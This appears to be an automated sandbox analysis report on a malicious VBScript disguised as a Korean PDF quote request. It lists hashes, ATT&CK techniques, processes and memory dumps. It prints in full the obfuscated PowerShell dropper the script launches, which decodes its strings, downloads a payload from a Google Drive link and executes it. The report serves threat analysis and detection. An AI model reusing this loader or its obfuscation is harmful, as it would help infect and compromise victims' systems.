db6d71e880a06ada6f3b1a50b335fc2e59833d965d027211b2b642a8c2f3560d

General

Target

SK 견적요청_울산공장·pdf.vbs
Size

86KB
MD5

da79738f51b4a2f265c6817f2db04646
SHA1

285cbcc5237b51baa7b93cc7cdae2ff4c08a4806
SHA256

fcb85efd53de456d5f743a08f2585d7d54e1a891b7ef8cc768a4a85c9cd3d36d
SHA512

aed649f3ae5f8ddf33918a3f8891b85aa1c723b52d04553fca3cf06792861f652dd1bc4b196427c224cbbc526c669d0286e1084a39bbb27bcbeaeee52bfe4667
SSDEEP

1536:H70tD9v0kQmGd9pipuoNqCZJlnfsBovNFqq8kuX0NhMfYagy1VRXaAj27DsH4Dt:HQd9vhrU9k5mBov98iNhMfYapVRQDsH+

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow	pid	Process
3	2092	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
3016	powershell.exe

Network Service Discovery 1 TTPs 1 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

Processes:

powershell.exe

pid	Process
3016	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
3016	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	3016	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	Process	procid_target
PID 2092 wrote to memory of 3016	2092	WScript.exe	30
PID 2092 wrote to memory of 3016	2092	WScript.exe	30
PID 2092 wrote to memory of 3016	2092	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SK 견적요청_울산공장·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Kapitalkontos Lvhytte Modem Caracal aandsretningernes #><#nonterminative Painter Cardan Tunnelbane Uciviliseredes Nedslagtnings #>$Glattende='Straamndene';function Polyrhythm($Zygophyceous205){If ($host.DebuggerEnabled) {$Softwareudviklingens++;$Diversificerede=$Zygophyceous205.'Length' - $Softwareudviklingens} for ( $Incumbentess=4;$Incumbentess -lt $Diversificerede;$Incumbentess+=5){$Drunkometers=$Incumbentess;$Pederast+=$Zygophyceous205[$Incumbentess]}$Pederast}function Unmisunderstanding($polycentric){ .($Signs) ($polycentric)}$Jouster=Polyrhythm 'DonkNExhieB,bat De .H spWFyrrE xulb F ocWaggL rutiKalmeQu dnRapsTSupe ';$tiggerstavenes=Polyrhythm ' Re,M carosaraz reiGymslBakglRoebaintr/Knst ';$Symonds=Polyrhythm 'MensT.thelOrc sbldd1E se2Stje ';$Fangelejren=' Mil[PiannOverEEsqut t,a.Ru esFenneRundr llev BlgiEntaCHaaneS.rmPCac OBu kIMastnKu,ftIndtM R na,piln CarASnegg Dise Barrprot]Mask:Hv.d:samasD lse NiccSygeUGylpr UlaIUdv,t Irry UdbpKou rb inooutpT.bstO AutcantioLejelAhim=Comm$ ottsFejlyPrepmCounoCollNUt mdetagsMiss ';$tiggerstavenes+=Polyrhythm 'Out 5.rer.Sacr0 Til Fag( orkWSkokiTrmlnSracdVis oM lbwUdlbsLaby DameNPyreTkl.s U,hv1Staa0humm.Mes 0U.ba;Prog KlveW rii flonProt6Over4For ;U le Avisx Pru6H ra4Pir ;Delt UdskrAutovVarm: Imb1Unmo3 Pal1Wa.c.Ramm0U je)Be l CorrGLavaeforhcTj ik Ordo D t/ Haa2Dy d0ster1 .ab0Kli 0Kall1 S u0 orr1 R.d P rfFNdlaiS olrArbeePrisfReseoKlokxWatt/ Imp1Do.p3Ashi1Okse. ins0Dikt ';$Underkbelser=Polyrhythm ' MetUSvarSS ffEChurrProj-RostARejsGGenkebatoN ruttAr e ';$Sublimant=Polyrhythm 'Typeh tratMicht orhp H psBrok:Isva/ Hng/ imbdK narSimuiPunkv,fflePoma.AnvegSailoSpaloS.ikg allT.hae,eni.Tve,c aeroSigvm Fog/AileuSmercTra ? TvieStnkxAntip Garo etwr reltTro =Hid.dDi toFejlwGeodnangrlFakto ivoaSpledTidy&BidsiSarcdD.ce=Bonv1PraiUPartUSp,rADyo SStraZSjetJ RifSBnkesNo.t_UndeFdeno1 Dagd .orESireQRespEHois1 .arA sky8Rek -OldfH ,raw ylMHarpKHorn3 Ne,M Oph5AnimsKalkISekuSRoc.LNumb8Mo toPree ';$Defrocking=Polyrhythm 'Guls>Jenn ';$Signs=Polyrhythm ' ExpiSekue otrXTran ';$Anelises='Overgratified';$Restitels='\Indefeasibly149.Jin';Unmisunderstanding (Polyrhythm 'Tian$ uddgCan L ApooDagsb SneAPs cl Pac:Krftu ShedVentpBes O EryeRettNFremsT,nkESemidHjerEQuin=Uns $HormE V dnTamiVEks : BerAmalapPre P anud HovA.assTLaenaSla.+unr,$UnsiRH anEAs iSgerot DikiCamptMinaEHomol G nsSeri ');Unmisunderstanding (Polyrhythm '.urc$RemegOphnLS.tuOBiodB Fina Dovl,oro:B odbTooti Ad,BUn oLTranESe usAs e=Alba$LeatsR.geUBasibFishLSeksI PecM e pAHomonC rytArb .U,rksAtlapAlfel efaIAgelTUn e( iss$KrydDSa.geJujiF ranrakano.nksCKolokEnt IBr cNSpidgC ra) P n ');Unmisunderstanding (Polyrhythm $Fangelejren);$Sublimant=$Bibles[0];$pedetidae=(Polyrhythm 'Flat$Mokeg TrvlSik oEr,abTheiANontLCoup: N,cOEartvBem,E Ud r Ce aA trW eaN,obiiDaudNForvg jll= undNDetrE SkiwGre - In OUnadbPu cjHulhESkrecParaT H r .kjosCargYBridSarmaTNavnePresM.nsu.Supe$Bho,JMonooTranuC apsIndktGnide NdirCamp ');Unmisunderstanding ($pedetidae);Unmisunderstanding (Polyrhythm 'Stil$v.ncOUdmav Co esarcrK.dea romwdiscnMyeliIm enDi mg,nin.SjleH speeFisha.ford MedeAflirKards akt[Skis$Fri,U sq nGonadBroneLe erFlask HalbNonuePu ylLse s ProeTarorAlif]Sm a=Stor$SkertColpi EftgForsgDribeUnw r h ts aditAntoaeditvGlobeDitinridge FlesS ec ');$glaskabler=Polyrhythm 'Anma$TrngOViolv Dobe tilrWin aAmphwFortn Gali LaknVandgMisc.DeprDKag oUdskwPersnFlinlL.gioDrfya Aesd .nsFProgi GenlMareeRipp(Ou w$.kafSBaseuProcbJostlBiksi Intm .ona Fran kktP ei,Stra$.eltRFumleRorsb ilsRelelAcceaStjegCh re elerGlas)Udvi ';$Rebslager=$Udpoensede;Unmisunderstanding (Polyrhythm 'slag$ManiGUnbul repOstrab S lALy tLSoci:SkylfT ksoTrenR ,diTHestNLinyk aatEHetes pit=Heel(K,rrt,rkaeGulfsBuddTG no-A tepobs ABrastEroshForu Ligh$Rittr ReoeWokeBTakkSAgl l I waOrthgS bsETi tRdami)Clea ');while (!$Fortnkes) {Unmisunderstanding (Polyrhythm 'Forh$Refug T llDjvloFngsb delaAmaglInte:Smu,FFluaoAfm,dMonabUd,ro Disl B pd yspkEksil,nthuKendbBeskbTvr e rbenSundsK,mm=Hal $DismtfremrUn,uuFlaweFind ') ;Unmisunderstanding $glaskabler;Unmisunderstanding (Polyrhythm ' onosOpgrTPolyAUnenr HumTPlan-M.ndsCricl ma eMathe S ppCoke T,lr4Type ');Unmisunderstanding (Polyrhythm 'tae.$DiscgBistl Rifo H.nBBl aaUncllFer :Po,tFPs poGidsR VogtSkewn Re,KFavee tilSNeph=Bure( ismTEntaEMaddsYaguTSubt- AanPFestAou bTHypeHBd,f Pla$ ,icrOptrecharbM,loSP lylSirrANudigVitre astrK.ef) Rit ') ;Unmisunderstanding (Polyrhythm 'sper$HeleGBrilLAgiso F rbNonwAHa dL ffy:BrutP a or ffiEBe.eEHandxPaleP GenLTam.AConsIWarmNin,d=mela$ MacgGenbl impOSemebsl,ea Ci.LAlgo: S kU Un nmellSMa dASur c porr EgeaTittMVocaeVit.NMacrt E dAWidel The+Nysk+Sang%nata$IngebskttiKonfbR enL S keBrevS,mrr.Skr C StaO Tv U Li NSemitLe,t ') ;$Sublimant=$Bibles[$Preexplain]}$Monosulphonic=297180;$arthel=30156;Unmisunderstanding (Polyrhythm 'Perf$ TrigEastlDybgOSplaB UnkASu elBra.: limSHellE afbe ndrt Su.hPr nEHoej Unsk=Supe addegTermEAffitAdit-DresC Valo iolnHandtDekaEGunpNJarnT,our ,ata$Kosor magEfor Bp.rosPa iLHeptaSee GE,bee Te.rTatb ');Unmisunderstanding (Polyrhythm ' ver$.uffgHjrelSpyto ehrb,ensaZoe lFami:E,icE AntnPrordLavteSkydm flyaSnv,aD stl,utseLivsn B re lu vit=Davi Mu t[MiniSAfsky.orrsH,nhtSm.ae engmFlu . S,dCTophotryln tttvPosteTaofr DantDusc]Ski :Moto: C,nFVrkfrU seogl smTi.sBElekaO nisSun,eI,de6Arch4 V.rSJabetSubsrTauriHypenRecogSymb( Pro$A,hvSIntee arkeMag,tBunyh nameDrop)R gn ');Unmisunderstanding (Polyrhythm 'Tran$KhajgRsk.lSyndO Bo BKroga udil ,er:ChevPSubeRTankiCabumDiskU Lo lL.njaVo fLObe,eSpirSReji Mund= Spi Irel[.onoSDrukY Unhs PettDeceE ubm Kul.In,eTAp.sETrusX albtSang.Po,tEDslpnInskC StoODiskDMiliID.shNFe.igButt]Pand:Usan:F.dtaGamlS Ca.cNo riDaviIforj.StnkGAltdegroit,orbS damtforsrHel IMultnFourg pyr(Suba$Kra eazosnVognD PhieHeatMDuodASkn a Pr l KomeHo eNGa aEFj n) alg ');Unmisunderstanding (Polyrhythm ' He $Tungg Af,lunheOSkmtBRkkeaTroclCamp:ScoffChokaSchiNAffeTRha aCyprs InviSu.tSIngeTA co= Alu$TallP Calr malII,gnm KuluS volT,ndAPr mLTyngEAparSBoob.CantSSammuFor,b Tr sPs cT.tatR nnei KornDeligL,dd(.dhi$Cablmsonio Gs.N B.ro,rshs SwiUKrydl SmlpDi oHTaveo orvNAgasiA.alc Dia,koda$ bakADemaRraabT Le H armeSlbelkatt) prg ');Unmisunderstanding $Fantasist;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

1

T1046

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabC3DD.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/3016-20-0x000007FEF5AAE000-0x000007FEF5AAF000-memory.dmp

Filesize
4KB

Download
memory/3016-23-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-22-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/3016-21-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/3016-24-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-26-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-25-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-27-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-28-0x000007FEF5AAE000-0x000007FEF5AAF000-memory.dmp

Filesize
4KB

Download
memory/3016-29-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-30-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-31-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-32-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download
memory/3016-33-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads